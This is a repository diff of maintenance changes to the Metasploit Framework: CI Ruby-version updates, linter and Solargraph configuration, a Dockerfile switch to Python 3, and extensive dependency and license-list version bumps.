Closing this issue. If you believe this issue has been closed in error, please provide any relevant output and logs which may be useful in diagnosing the issue.
`
},
attic: {
close: true,
comment: `
Thanks for your contribution to Metasploit Framework! We've looked at this issue, and unfortunately we do not currently have the bandwidth to prioritize this issue.
We've labeled this as \`attic\` and closed it for now. If you believe this issue has been closed in error, or that it should be prioritized, please comment with additional information.
`
}
}
};
+1 -1
View File
@@ -35,7 +35,7 @@ jobs:
fail-fast: true
matrix:
ruby:
- '2.7'
- '3.0'
name: Lint msftidy
steps:
+3 -2
View File
@@ -64,15 +64,14 @@ jobs:
fail-fast: true
matrix:
ruby:
- '2.7'
- '3.0'
- '3.1'
- '3.2'
- '3.3.0-preview1'
os:
- ubuntu-20.04
- ubuntu-latest
exclude:
- { os: ubuntu-latest, ruby: '2.7' }
- { os: ubuntu-latest, ruby: '3.0' }
include:
- os: ubuntu-latest
@@ -99,6 +98,8 @@ jobs:
- name: Setup Ruby
env:
BUNDLE_WITHOUT: "coverage development pcap"
# Nokogiri doesn't release pre-compiled binaries for preview versions of Ruby; So force compilation with BUNDLE_FORCE_RUBY_PLATFORM
BUNDLE_FORCE_RUBY_PLATFORM: "${{ contains(matrix.ruby, 'preview') && 'true' || 'false' }}"
uses: ruby/setup-ruby@v1
with:
ruby-version: '${{ matrix.ruby }}'
+1 -1
View File
@@ -40,7 +40,7 @@ jobs:
const hasPR = await github.rest.pulls.list({
owner,
repo,
head: owner + ':' + '${{ github.ref_name }}'
head: owner + ':' + '${{ github.ref_name }}'
});
console.log('hasPR:');
console.log(JSON.stringify({ data: hasPR.data, status: hasPR.status }, null, 4));
+2
View File
@@ -19,6 +19,8 @@ Gemfile.local.lock
.yardoc
# Mac OS X files
.DS_Store
# Ignore Solargraph config file
.solargraph.yml
# database config for testing
config/database.yml
# target config file for testing
+21 -5
View File
@@ -22,6 +22,7 @@ require:
- ./lib/rubocop/cop/lint/module_disclosure_date_present.rb
- ./lib/rubocop/cop/lint/deprecated_gem_version.rb
- ./lib/rubocop/cop/lint/module_enforce_notes.rb
- ./lib/rubocop/cop/lint/detect_invalid_pack_directives.rb
Layout/SpaceBeforeBrackets:
Description: >-
@@ -79,6 +80,17 @@ Lint/UnexpectedBlockArity:
Lint/UnmodifiedReduceAccumulator:
Enabled: true
Lint/UnusedMethodArgument:
Description: >-
Disabled on files under the lib/ directory (aka library files)
as this can break YARD documentation since YARD doesn't recognize
the _ prefix before parameter names and thinks its a different argument.
See https://github.com/rapid7/metasploit-framework/pull/17735
Also see https://github.com/rubocop/rubocop/pull/11020
Enabled: true
Exclude:
- 'lib/**/*'
Style/ArgumentsForwarding:
Enabled: true
@@ -155,6 +167,9 @@ Layout/ModuleHashValuesOnSameLine:
Layout/ModuleDescriptionIndentation:
Enabled: true
Lint/DetectInvalidPackDirectives:
Enabled: true
Lint/ModuleDisclosureDateFormat:
Enabled: true
@@ -175,12 +190,13 @@ Lint/DeprecatedGemVersion:
Exclude:
- 'metasploit-framework.gemspec'
Metrics/ClassLength:
Metrics/ModuleLength:
Description: 'Most Metasploit modules are quite large. This is ok.'
Enabled: true
Exclude:
- 'modules/**/*'
- 'test/modules/**/*'
Enabled: false
Metrics/ClassLength:
Description: 'Most Metasploit classes are quite large. This is ok.'
Enabled: false
Style/ClassAndModuleChildren:
Enabled: false
+28
View File
@@ -0,0 +1,28 @@
---
include:
- "**/*.rb"
exclude:
- spec/**/*
- test/**/*
- vendor/**/*
- ".bundle/**/*"
- modules/**/*
- data/**/*
- db/**/*
- external/**/*
- plugins/**/*
- scripts/**/* # Some of this is old and may not need indexing???
require: []
domains: []
reporters:
- rubocop
- require_not_found
formatter:
rubocop:
cops: safe
except: []
only: []
extra_args: []
require_paths: []
plugins: []
max_files: 0
+3 -3
View File
@@ -61,8 +61,8 @@ ENV METASPLOIT_GROUP=metasploit
RUN addgroup -S $METASPLOIT_GROUP
RUN apk add --no-cache bash sqlite-libs nmap nmap-scripts nmap-nselibs \
postgresql-libs python2 python3 py3-pip ncurses libcap su-exec alpine-sdk \
python2-dev openssl-dev nasm mingw-w64-gcc
postgresql-libs python3 py3-pip ncurses libcap su-exec alpine-sdk \
openssl-dev nasm mingw-w64-gcc
RUN /usr/sbin/setcap cap_net_raw,cap_net_bind_service=+eip $(which ruby)
RUN /usr/sbin/setcap cap_net_raw,cap_net_bind_service=+eip $(which nmap)
@@ -75,7 +75,7 @@ RUN chown -R root:metasploit $APP_HOME/
RUN chmod 664 $APP_HOME/Gemfile.lock
RUN gem update --system
RUN cp -f $APP_HOME/docker/database.yml $APP_HOME/config/database.yml
RUN curl -L -O https://github.com/pypa/get-pip/raw/3843bff3a0a61da5b63ea0b7d34794c5c51a2f11/get-pip.py && python get-pip.py && rm get-pip.py
RUN curl -L -O https://raw.githubusercontent.com/pypa/get-pip/f84b65709d4b20221b7dbee900dbf9985a81b5d4/public/get-pip.py && python3 get-pip.py && rm get-pip.py
RUN pip install impacket
RUN pip install requests
+113 -99
View File
@@ -1,16 +1,20 @@
PATH
remote: .
specs:
metasploit-framework (6.3.2)
metasploit-framework (6.3.29)
actionpack (~> 7.0)
activerecord (~> 7.0)
activesupport (~> 7.0)
aws-sdk-ec2
aws-sdk-ec2instanceconnect
aws-sdk-iam
aws-sdk-s3
aws-sdk-ssm
bcrypt
bcrypt_pbkdf
bootsnap
bson
chunky_png
dnsruby
ed25519
em-http-request
@@ -29,18 +33,18 @@ PATH
metasploit-concern
metasploit-credential
metasploit-model
metasploit-payloads (= 2.0.108)
metasploit-payloads (= 2.0.148)
metasploit_data_models
metasploit_payloads-mettle (= 1.0.20)
metasploit_payloads-mettle (= 1.0.26)
mqtt
msgpack
msgpack (~> 1.6.0)
nessus_rest
net-ldap
net-smtp
net-ssh
network_interface
nexpose
nokogiri
nokogiri (~> 1.14.0)
octokit (~> 4.0)
openssl-ccm
openvas-omp
@@ -97,74 +101,83 @@ GEM
remote: https://rubygems.org/
specs:
Ascii85 (1.1.0)
actionpack (7.0.4.2)
actionview (= 7.0.4.2)
activesupport (= 7.0.4.2)
rack (~> 2.0, >= 2.2.0)
actionpack (7.0.5)
actionview (= 7.0.5)
activesupport (= 7.0.5)
rack (~> 2.0, >= 2.2.4)
rack-test (>= 0.6.3)
rails-dom-testing (~> 2.0)
rails-html-sanitizer (~> 1.0, >= 1.2.0)
actionview (7.0.4.2)
activesupport (= 7.0.4.2)
actionview (7.0.5)
activesupport (= 7.0.5)
builder (~> 3.1)
erubi (~> 1.4)
rails-dom-testing (~> 2.0)
rails-html-sanitizer (~> 1.1, >= 1.2.0)
activemodel (7.0.4.2)
activesupport (= 7.0.4.2)
activerecord (7.0.4.2)
activemodel (= 7.0.4.2)
activesupport (= 7.0.4.2)
activesupport (7.0.4.2)
activemodel (7.0.5)
activesupport (= 7.0.5)
activerecord (7.0.5)
activemodel (= 7.0.5)
activesupport (= 7.0.5)
activesupport (7.0.5)
concurrent-ruby (~> 1.0, >= 1.0.2)
i18n (>= 1.6, < 2)
minitest (>= 5.1)
tzinfo (~> 2.0)
addressable (2.8.1)
addressable (2.8.4)
public_suffix (>= 2.0.2, < 6.0)
afm (0.2.2)
arel-helpers (2.14.0)
activerecord (>= 3.1.0, < 8)
ast (2.4.2)
aws-eventstream (1.2.0)
aws-partitions (1.707.0)
aws-sdk-core (3.170.0)
aws-partitions (1.776.0)
aws-sdk-core (3.174.0)
aws-eventstream (~> 1, >= 1.0.2)
aws-partitions (~> 1, >= 1.651.0)
aws-sigv4 (~> 1.5)
jmespath (~> 1, >= 1.6.1)
aws-sdk-ec2 (1.364.0)
aws-sdk-ec2 (1.382.0)
aws-sdk-core (~> 3, >= 3.174.0)
aws-sigv4 (~> 1.1)
aws-sdk-ec2instanceconnect (1.27.0)
aws-sdk-core (~> 3, >= 3.165.0)
aws-sigv4 (~> 1.1)
aws-sdk-iam (1.75.0)
aws-sdk-core (~> 3, >= 3.165.0)
aws-sdk-iam (1.79.0)
aws-sdk-core (~> 3, >= 3.174.0)
aws-sigv4 (~> 1.1)
aws-sdk-kms (1.62.0)
aws-sdk-core (~> 3, >= 3.165.0)
aws-sdk-kms (1.66.0)
aws-sdk-core (~> 3, >= 3.174.0)
aws-sigv4 (~> 1.1)
aws-sdk-s3 (1.119.0)
aws-sdk-core (~> 3, >= 3.165.0)
aws-sdk-s3 (1.123.1)
aws-sdk-core (~> 3, >= 3.174.0)
aws-sdk-kms (~> 1)
aws-sigv4 (~> 1.4)
aws-sdk-ssm (1.151.0)
aws-sdk-core (~> 3, >= 3.174.0)
aws-sigv4 (~> 1.1)
aws-sigv4 (1.5.2)
aws-eventstream (~> 1, >= 1.0.2)
bcrypt (3.1.18)
bcrypt_pbkdf (1.1.0)
bindata (2.4.15)
bootsnap (1.16.0)
msgpack (~> 1.2)
bson (4.15.0)
builder (3.2.4)
byebug (11.1.3)
chunky_png (1.4.0)
coderay (1.1.3)
concurrent-ruby (1.2.0)
concurrent-ruby (1.2.2)
cookiejar (0.3.3)
crass (1.0.6)
daemons (1.4.1)
debug (1.7.1)
debug (1.8.0)
irb (>= 1.5.0)
reline (>= 0.3.1)
diff-lcs (1.5.0)
dnsruby (1.61.9)
simpleidn (~> 0.1)
dnsruby (1.70.0)
simpleidn (~> 0.2.1)
docile (1.4.0)
domain_name (0.5.20190701)
unf (>= 0.0.5, < 1.0.0)
@@ -184,15 +197,15 @@ GEM
factory_bot_rails (6.2.0)
factory_bot (~> 6.2.0)
railties (>= 5.0.0)
faker (3.1.1)
faker (3.2.0)
i18n (>= 1.8.11, < 2)
faraday (2.7.4)
faraday (2.7.6)
faraday-net_http (>= 2.0, < 3.1)
ruby2_keywords (>= 0.0.4)
faraday-net_http (3.0.2)
faraday-retry (2.0.0)
faraday-retry (2.2.0)
faraday (~> 2.0)
faye-websocket (0.11.1)
faye-websocket (0.11.2)
eventmachine (>= 0.12.0)
websocket-driver (>= 0.5.1)
ffi (1.15.5)
@@ -212,10 +225,10 @@ GEM
domain_name (~> 0.5)
http_parser.rb (0.8.0)
httpclient (2.8.3)
i18n (1.12.0)
i18n (1.14.1)
concurrent-ruby (~> 1.0)
io-console (0.6.0)
irb (1.6.2)
irb (1.7.0)
reline (>= 0.3.0)
jmespath (1.6.2)
jsobfu (0.4.2)
@@ -225,9 +238,9 @@ GEM
logging (2.3.1)
little-plugger (~> 1.1)
multi_json (~> 1.14)
loofah (2.19.1)
loofah (2.21.3)
crass (~> 1.0.2)
nokogiri (>= 1.5.9)
nokogiri (>= 1.12.0)
memory_profiler (1.0.1)
metasm (1.0.5)
metasploit-concern (5.0.1)
@@ -235,7 +248,7 @@ GEM
activesupport (~> 7.0)
railties (~> 7.0)
zeitwerk
metasploit-credential (6.0.2)
metasploit-credential (6.0.5)
metasploit-concern
metasploit-model
metasploit_data_models (>= 5.0.0)
@@ -249,7 +262,7 @@ GEM
activemodel (~> 7.0)
activesupport (~> 7.0)
railties (~> 7.0)
metasploit-payloads (2.0.108)
metasploit-payloads (2.0.148)
metasploit_data_models (6.0.2)
activerecord (~> 7.0)
activesupport (~> 7.0)
@@ -260,26 +273,26 @@ GEM
railties (~> 7.0)
recog
webrick
metasploit_payloads-mettle (1.0.20)
metasploit_payloads-mettle (1.0.26)
method_source (1.0.0)
mini_portile2 (2.8.1)
minitest (5.17.0)
mqtt (0.5.0)
msgpack (1.6.0)
mini_portile2 (2.8.2)
minitest (5.18.0)
mqtt (0.6.0)
msgpack (1.6.1)
multi_json (1.15.0)
mustermann (3.0.0)
ruby2_keywords (~> 0.0.1)
nessus_rest (0.1.6)
net-ldap (0.17.1)
net-ldap (0.18.0)
net-protocol (0.2.1)
timeout
net-smtp (0.3.3)
net-protocol
net-ssh (7.0.1)
net-ssh (7.1.0)
network_interface (0.0.2)
nexpose (7.3.0)
nio4r (2.5.8)
nokogiri (1.14.1)
nio4r (2.5.9)
nokogiri (1.14.5)
mini_portile2 (~> 2.8.0)
racc (~> 1.4)
nori (2.6.0)
@@ -289,11 +302,12 @@ GEM
openssl-ccm (1.2.3)
openssl-cmac (2.0.2)
openvas-omp (0.0.4)
packetfu (1.1.13)
pcaprub
parallel (1.22.1)
parser (3.2.0.0)
packetfu (2.0.0)
pcaprub (~> 0.13.1)
parallel (1.23.0)
parser (3.2.2.3)
ast (~> 2.4.1)
racc
patch_finder (1.0.2)
pcaprub (0.13.1)
pdf-reader (2.11.0)
@@ -302,7 +316,7 @@ GEM
hashery (~> 2.0)
ruby-rc4
ttfunk
pg (1.4.5)
pg (1.5.3)
pry (0.14.2)
coderay (~> 1.1)
method_source (~> 1.0)
@@ -310,22 +324,23 @@ GEM
byebug (~> 11.0)
pry (>= 0.13, < 0.15)
public_suffix (5.0.1)
puma (6.0.2)
puma (6.3.0)
nio4r (~> 2.0)
racc (1.6.2)
rack (2.2.6.2)
rack-protection (3.0.5)
racc (1.7.0)
rack (2.2.7)
rack-protection (3.0.6)
rack
rack-test (2.0.2)
rack-test (2.1.0)
rack (>= 1.3)
rails-dom-testing (2.0.3)
activesupport (>= 4.2.0)
nokogiri (>= 1.6)
rails-html-sanitizer (1.5.0)
loofah (~> 2.19, >= 2.19.1)
railties (7.0.4.2)
actionpack (= 7.0.4.2)
activesupport (= 7.0.4.2)
rails-html-sanitizer (1.6.0)
loofah (~> 2.21)
nokogiri (~> 1.14)
railties (7.0.5)
actionpack (= 7.0.5)
activesupport (= 7.0.5)
method_source
rake (>= 12.2)
thor (~> 1.0)
@@ -335,11 +350,11 @@ GEM
rasn1 (0.12.1)
strptime (~> 0.2.5)
rb-readline (0.5.5)
recog (3.0.3)
recog (3.1.1)
nokogiri
redcarpet (3.6.0)
regexp_parser (2.6.2)
reline (0.3.2)
regexp_parser (2.8.0)
reline (0.3.5)
io-console (~> 0.5)
rex-arch (0.1.14)
rex-text
@@ -349,12 +364,12 @@ GEM
rex-core
rex-struct2
rex-text
rex-core (0.1.30)
rex-core (0.1.31)
rex-encoder (0.1.6)
metasm
rex-arch
rex-text
rex-exploitation (0.1.37)
rex-exploitation (0.1.38)
jsobfu
metasm
rex-arch
@@ -379,14 +394,14 @@ GEM
metasm
rex-core
rex-text
rex-socket (0.1.47)
rex-socket (0.1.52)
rex-core
rex-sslscan (0.1.9)
rex-core
rex-socket
rex-text
rex-struct2 (0.1.3)
rex-text (0.2.49)
rex-text (0.2.52)
rex-zip (0.1.4)
rex-text
rexml (3.2.5)
@@ -395,43 +410,43 @@ GEM
rspec-core (~> 3.12.0)
rspec-expectations (~> 3.12.0)
rspec-mocks (~> 3.12.0)
rspec-core (3.12.1)
rspec-core (3.12.2)
rspec-support (~> 3.12.0)
rspec-expectations (3.12.2)
rspec-expectations (3.12.3)
diff-lcs (>= 1.2.0, < 2.0)
rspec-support (~> 3.12.0)
rspec-mocks (3.12.3)
rspec-mocks (3.12.5)
diff-lcs (>= 1.2.0, < 2.0)
rspec-support (~> 3.12.0)
rspec-rails (6.0.1)
rspec-rails (6.0.3)
actionpack (>= 6.1)
activesupport (>= 6.1)
railties (>= 6.1)
rspec-core (~> 3.11)
rspec-expectations (~> 3.11)
rspec-mocks (~> 3.11)
rspec-support (~> 3.11)
rspec-core (~> 3.12)
rspec-expectations (~> 3.12)
rspec-mocks (~> 3.12)
rspec-support (~> 3.12)
rspec-rerun (1.1.0)
rspec (~> 3.0)
rspec-support (3.12.0)
rubocop (1.44.1)
rubocop (1.52.0)
json (~> 2.3)
parallel (~> 1.10)
parser (>= 3.2.0.0)
rainbow (>= 2.2.2, < 4.0)
regexp_parser (>= 1.8, < 3.0)
rexml (>= 3.2.5, < 4.0)
rubocop-ast (>= 1.24.1, < 2.0)
rubocop-ast (>= 1.28.0, < 2.0)
ruby-progressbar (~> 1.7)
unicode-display_width (>= 2.4.0, < 3.0)
rubocop-ast (1.24.1)
parser (>= 3.1.1.0)
rubocop-ast (1.29.0)
parser (>= 3.2.1.0)
ruby-macho (3.0.0)
ruby-prof (1.4.2)
ruby-progressbar (1.11.0)
ruby-progressbar (1.13.0)
ruby-rc4 (0.1.5)
ruby2_keywords (0.0.5)
ruby_smb (3.2.4)
ruby_smb (3.2.5)
bindata
openssl-ccm
openssl-cmac
@@ -448,37 +463,37 @@ GEM
simplecov-html (0.12.3)
simpleidn (0.2.1)
unf (~> 0.1.4)
sinatra (3.0.5)
sinatra (3.0.6)
mustermann (~> 3.0)
rack (~> 2.2, >= 2.2.4)
rack-protection (= 3.0.5)
rack-protection (= 3.0.6)
tilt (~> 2.0)
sqlite3 (1.6.0)
sqlite3 (1.6.3)
mini_portile2 (~> 2.8.0)
sshkey (2.0.0)
strptime (0.2.5)
swagger-blocks (3.0.0)
thin (1.8.1)
thin (1.8.2)
daemons (~> 1.0, >= 1.0.9)
eventmachine (~> 1.0, >= 1.0.4)
rack (>= 1, < 3)
thor (1.2.1)
tilt (2.0.11)
thor (1.2.2)
tilt (2.2.0)
timecop (0.9.6)
timeout (0.3.1)
timeout (0.3.2)
ttfunk (1.7.0)
tzinfo (2.0.6)
concurrent-ruby (~> 1.0)
tzinfo-data (1.2022.7)
tzinfo-data (1.2023.3)
tzinfo (>= 1.0.0)
unf (0.1.4)
unf_ext
unf_ext (0.0.8.2)
unicode-display_width (2.4.2)
unix-crypt (1.3.0)
unix-crypt (1.3.1)
warden (1.2.9)
rack (>= 2.0.9)
webrick (1.7.0)
webrick (1.8.1)
websocket-driver (0.7.5)
websocket-extensions (>= 0.1.0)
websocket-extensions (0.1.5)
@@ -498,9 +513,8 @@ GEM
activesupport (>= 4.2, < 8.0)
xmlrpc (0.3.2)
webrick
yard (0.9.28)
webrick (~> 1.7.0)
zeitwerk (2.6.6)
yard (0.9.34)
zeitwerk (2.6.8)
PLATFORMS
ruby
+4 -4
View File
@@ -152,7 +152,7 @@ Copyright: 2017 Yukihiro Matsumoto
License: Ruby
Files: lib/msf/core/modules/external/python/async_timeout/*
Copyright: 2016-2017 Andrew Svetlov
Copyright: 2016-2023 Andrew Svetlov
License: Apache 2.0
Files: lib/msf/core/web_services/public/*
@@ -227,7 +227,7 @@ Purpose: This module contains the source code for FUSE, which this module
Files: modules/exploits/linux/local/ntfs3g_priv_esc.rb
Copyright: 2017
License: GPLv2
Purpose: The Ruby file contains the text of several modules from exploit-db
Purpose: The Ruby file contains the text of several modules from exploit-db
which it compiles and uploads to the target to elevate privileges.
Files: modules/exploits/unix/fileformat/metasploit_libnotify_cmd_injection.rb
@@ -239,7 +239,7 @@ Purpose: This module targets a vulnerability in Metasploit Framework versions
Files: modules/exploits/windows/smb/ms04_007_killbill.rb
Copyright: 2004, Solar Eclipse
License: GPL
Purpose: The module exploits the Windows ASN.1 vulnerability in Windows 2000
Purpose: The module exploits the Windows ASN.1 vulnerability in Windows 2000
SP2-SP4 and Windows XP SP0-SP1. It contains code ported from a GPLv2
module.
@@ -255,7 +255,7 @@ Purpose: This module allows us to create an x64 Windows messagebox payload.
Files: modules/post/linux/dos/xen_420_dos.rb
Copyright: 2016
License: GPL
Purpose: This module crashes the Xen 4.2.0 hypervisor when run in a
Purpose: This module crashes the Xen 4.2.0 hypervisor when run in a
paravirtualized VM. It contains a short code section licensed through
GPL.
+76 -72
View File
@@ -1,37 +1,41 @@
This file is auto-generated by tools/dev/update_gem_licenses.sh
Ascii85, 1.1.0, MIT
actionpack, 7.0.4.2, MIT
actionview, 7.0.4.2, MIT
activemodel, 7.0.4.2, MIT
activerecord, 7.0.4.2, MIT
activesupport, 7.0.4.2, MIT
addressable, 2.8.1, "Apache 2.0"
actionpack, 7.0.5, MIT
actionview, 7.0.5, MIT
activemodel, 7.0.5, MIT
activerecord, 7.0.5, MIT
activesupport, 7.0.5, MIT
addressable, 2.8.4, "Apache 2.0"
afm, 0.2.2, MIT
arel-helpers, 2.14.0, MIT
ast, 2.4.2, MIT
aws-eventstream, 1.2.0, "Apache 2.0"
aws-partitions, 1.701.0, "Apache 2.0"
aws-sdk-core, 3.170.0, "Apache 2.0"
aws-sdk-ec2, 1.362.0, "Apache 2.0"
aws-sdk-iam, 1.74.0, "Apache 2.0"
aws-sdk-kms, 1.62.0, "Apache 2.0"
aws-sdk-s3, 1.119.0, "Apache 2.0"
aws-partitions, 1.776.0, "Apache 2.0"
aws-sdk-core, 3.174.0, "Apache 2.0"
aws-sdk-ec2, 1.382.0, "Apache 2.0"
aws-sdk-ec2instanceconnect, 1.27.0, "Apache 2.0"
aws-sdk-iam, 1.79.0, "Apache 2.0"
aws-sdk-kms, 1.66.0, "Apache 2.0"
aws-sdk-s3, 1.123.1, "Apache 2.0"
aws-sdk-ssm, 1.151.0, "Apache 2.0"
aws-sigv4, 1.5.2, "Apache 2.0"
bcrypt, 3.1.18, MIT
bcrypt_pbkdf, 1.1.0, MIT
bindata, 2.4.14, ruby
bindata, 2.4.15, "Simplified BSD"
bootsnap, 1.16.0, MIT
bson, 4.15.0, "Apache 2.0"
builder, 3.2.4, MIT
bundler, 2.1.4, MIT
byebug, 11.1.3, "Simplified BSD"
chunky_png, 1.4.0, MIT
coderay, 1.1.3, MIT
concurrent-ruby, 1.2.0, MIT
concurrent-ruby, 1.2.2, MIT
cookiejar, 0.3.3, unknown
crass, 1.0.6, MIT
daemons, 1.4.1, MIT
debug, 1.7.1, "ruby, Simplified BSD"
debug, 1.8.0, "ruby, Simplified BSD"
diff-lcs, 1.5.0, "MIT, Artistic-2.0, GPL-2.0+"
dnsruby, 1.61.9, "Apache 2.0"
dnsruby, 1.70.0, "Apache 2.0"
docile, 1.4.0, MIT
domain_name, 0.5.20190701, "Simplified BSD, New BSD, Mozilla Public License 2.0"
ed25519, 1.3.0, MIT
@@ -41,11 +45,11 @@ erubi, 1.12.0, MIT
eventmachine, 1.2.7, "ruby, GPL-2.0"
factory_bot, 6.2.1, MIT
factory_bot_rails, 6.2.0, MIT
faker, 3.1.0, MIT
faraday, 2.7.4, MIT
faker, 3.2.0, MIT
faraday, 2.7.6, MIT
faraday-net_http, 3.0.2, MIT
faraday-retry, 2.0.0, MIT
faye-websocket, 0.11.1, "Apache 2.0"
faraday-retry, 2.2.0, MIT
faye-websocket, 0.11.2, "Apache 2.0"
ffi, 1.15.5, "New BSD"
filesize, 0.2.0, MIT
fivemat, 1.3.7, MIT
@@ -57,76 +61,76 @@ hrr_rb_ssh-ed25519, 0.4.2, "Apache 2.0"
http-cookie, 1.0.5, MIT
http_parser.rb, 0.8.0, MIT
httpclient, 2.8.3, ruby
i18n, 1.12.0, MIT
i18n, 1.14.1, MIT
io-console, 0.6.0, "ruby, Simplified BSD"
irb, 1.6.2, "ruby, Simplified BSD"
irb, 1.7.0, "ruby, Simplified BSD"
jmespath, 1.6.2, "Apache 2.0"
jsobfu, 0.4.2, "New BSD"
json, 2.6.3, ruby
little-plugger, 1.1.4, MIT
logging, 2.3.1, MIT
loofah, 2.19.1, MIT
loofah, 2.21.3, MIT
memory_profiler, 1.0.1, MIT
metasm, 1.0.5, LGPL-2.1
metasploit-concern, 5.0.1, "New BSD"
metasploit-credential, 6.0.2, "New BSD"
metasploit-framework, 6.3.2, "New BSD"
metasploit-credential, 6.0.5, "New BSD"
metasploit-framework, 6.3.29, "New BSD"
metasploit-model, 5.0.1, "New BSD"
metasploit-payloads, 2.0.108, "3-clause (or ""modified"") BSD"
metasploit-payloads, 2.0.148, "3-clause (or ""modified"") BSD"
metasploit_data_models, 6.0.2, "New BSD"
metasploit_payloads-mettle, 1.0.20, "3-clause (or ""modified"") BSD"
metasploit_payloads-mettle, 1.0.26, "3-clause (or ""modified"") BSD"
method_source, 1.0.0, MIT
mini_portile2, 2.8.1, MIT
minitest, 5.17.0, MIT
mqtt, 0.5.0, MIT
msgpack, 1.6.0, "Apache 2.0"
mini_portile2, 2.8.2, MIT
minitest, 5.18.0, MIT
mqtt, 0.6.0, MIT
msgpack, 1.6.1, "Apache 2.0"
multi_json, 1.15.0, MIT
mustermann, 3.0.0, MIT
nessus_rest, 0.1.6, MIT
net-ldap, 0.17.1, MIT
net-ldap, 0.18.0, MIT
net-protocol, 0.2.1, "ruby, Simplified BSD"
net-smtp, 0.3.3, "ruby, Simplified BSD"
net-ssh, 7.0.1, MIT
net-ssh, 7.1.0, MIT
network_interface, 0.0.2, MIT
nexpose, 7.3.0, "New BSD"
nio4r, 2.5.8, MIT
nokogiri, 1.14.1, MIT
nio4r, 2.5.9, MIT
nokogiri, 1.14.5, MIT
nori, 2.6.0, MIT
octokit, 4.25.1, MIT
openssl-ccm, 1.2.3, MIT
openssl-cmac, 2.0.2, MIT
openvas-omp, 0.0.4, MIT
packetfu, 1.1.13, BSD
parallel, 1.22.1, MIT
parser, 3.2.0.0, MIT
packetfu, 2.0.0, "New BSD"
parallel, 1.23.0, MIT
parser, 3.2.2.3, MIT
patch_finder, 1.0.2, "New BSD"
pcaprub, 0.13.1, LGPL-2.1
pdf-reader, 2.11.0, MIT
pg, 1.4.5, "Simplified BSD"
pg, 1.5.3, "Simplified BSD"
pry, 0.14.2, MIT
pry-byebug, 3.10.1, MIT
public_suffix, 5.0.1, MIT
puma, 6.0.2, "New BSD"
racc, 1.6.2, "ruby, Simplified BSD"
rack, 2.2.6.2, MIT
rack-protection, 3.0.5, MIT
rack-test, 2.0.2, MIT
puma, 6.3.0, "New BSD"
racc, 1.7.0, "ruby, Simplified BSD"
rack, 2.2.7, MIT
rack-protection, 3.0.6, MIT
rack-test, 2.1.0, MIT
rails-dom-testing, 2.0.3, MIT
rails-html-sanitizer, 1.5.0, MIT
railties, 7.0.4.2, MIT
rails-html-sanitizer, 1.6.0, MIT
railties, 7.0.5, MIT
rainbow, 3.1.1, MIT
rake, 13.0.6, MIT
rasn1, 0.12.1, MIT
rb-readline, 0.5.5, BSD
recog, 3.0.3, unknown
recog, 3.1.1, unknown
redcarpet, 3.6.0, MIT
regexp_parser, 2.6.2, MIT
reline, 0.3.2, ruby
regexp_parser, 2.8.0, MIT
reline, 0.3.5, ruby
rex-arch, 0.1.14, "New BSD"
rex-bin_tools, 0.1.8, "New BSD"
rex-core, 0.1.30, "New BSD"
rex-core, 0.1.31, "New BSD"
rex-encoder, 0.1.6, "New BSD"
rex-exploitation, 0.1.37, "New BSD"
rex-exploitation, 0.1.38, "New BSD"
rex-java, 0.1.6, "New BSD"
rex-mime, 0.1.7, "New BSD"
rex-nop, 0.1.2, "New BSD"
@@ -135,53 +139,53 @@ rex-powershell, 0.1.97, "New BSD"
rex-random_identifier, 0.1.10, "New BSD"
rex-registry, 0.1.4, "New BSD"
rex-rop_builder, 0.1.4, "New BSD"
rex-socket, 0.1.46, "New BSD"
rex-socket, 0.1.52, "New BSD"
rex-sslscan, 0.1.9, "New BSD"
rex-struct2, 0.1.3, "New BSD"
rex-text, 0.2.49, "New BSD"
rex-text, 0.2.52, "New BSD"
rex-zip, 0.1.4, "New BSD"
rexml, 3.2.5, "Simplified BSD"
rkelly-remix, 0.0.7, MIT
rspec, 3.12.0, MIT
rspec-core, 3.12.0, MIT
rspec-expectations, 3.12.2, MIT
rspec-mocks, 3.12.3, MIT
rspec-rails, 6.0.1, MIT
rspec-core, 3.12.2, MIT
rspec-expectations, 3.12.3, MIT
rspec-mocks, 3.12.5, MIT
rspec-rails, 6.0.3, MIT
rspec-rerun, 1.1.0, MIT
rspec-support, 3.12.0, MIT
rubocop, 1.44.1, MIT
rubocop-ast, 1.24.1, MIT
rubocop, 1.52.0, MIT
rubocop-ast, 1.29.0, MIT
ruby-macho, 3.0.0, MIT
ruby-prof, 1.4.2, "Simplified BSD"
ruby-progressbar, 1.11.0, MIT
ruby-progressbar, 1.13.0, MIT
ruby-rc4, 0.1.5, MIT
ruby2_keywords, 0.0.5, "ruby, Simplified BSD"
ruby_smb, 3.2.4, "New BSD"
ruby_smb, 3.2.5, "New BSD"
rubyntlm, 0.6.3, MIT
rubyzip, 2.3.2, "Simplified BSD"
sawyer, 0.9.2, MIT
simplecov, 0.18.2, MIT
simplecov-html, 0.12.3, MIT
simpleidn, 0.2.1, MIT
sinatra, 3.0.5, MIT
sqlite3, 1.6.0, "New BSD"
sinatra, 3.0.6, MIT
sqlite3, 1.6.3, "New BSD"
sshkey, 2.0.0, MIT
strptime, 0.2.5, "Simplified BSD"
swagger-blocks, 3.0.0, MIT
thin, 1.8.1, "GPL-2.0+, ruby"
thor, 1.2.1, MIT
tilt, 2.0.11, MIT
thin, 1.8.2, "GPL-2.0+, ruby"
thor, 1.2.2, MIT
tilt, 2.2.0, MIT
timecop, 0.9.6, MIT
timeout, 0.3.1, "ruby, Simplified BSD"
timeout, 0.3.2, "ruby, Simplified BSD"
ttfunk, 1.7.0, "Nonstandard, GPL-2.0, GPL-3.0"
tzinfo, 2.0.6, MIT
tzinfo-data, 1.2022.7, MIT
tzinfo-data, 1.2023.3, MIT
unf, 0.1.4, "2-clause BSDL"
unf_ext, 0.0.8.2, MIT
unicode-display_width, 2.4.2, MIT
unix-crypt, 1.3.0, BSD
unix-crypt, 1.3.1, 0BSD
warden, 1.2.9, MIT
webrick, 1.7.0, "ruby, Simplified BSD"
webrick, 1.8.1, "ruby, Simplified BSD"
websocket-driver, 0.7.5, "Apache 2.0"
websocket-extensions, 0.1.5, "Apache 2.0"
win32api, 0.1.0, unknown
@@ -189,5 +193,5 @@ windows_error, 0.1.5, BSD
winrm, 2.3.6, "Apache 2.0"
xdr, 3.0.3, "Apache 2.0"
xmlrpc, 0.3.2, "ruby, Simplified BSD"
yard, 0.9.28, MIT
zeitwerk, 2.6.6, MIT
yard, 0.9.34, MIT
zeitwerk, 2.6.8, MIT
+1
View File
@@ -0,0 +1 @@
This directory contains ActiveRecord concerns, models and validators.
+3
View File
@@ -0,0 +1,3 @@
Contains various files that help configure Metasploit. Most files here you'll never have to deal with, though
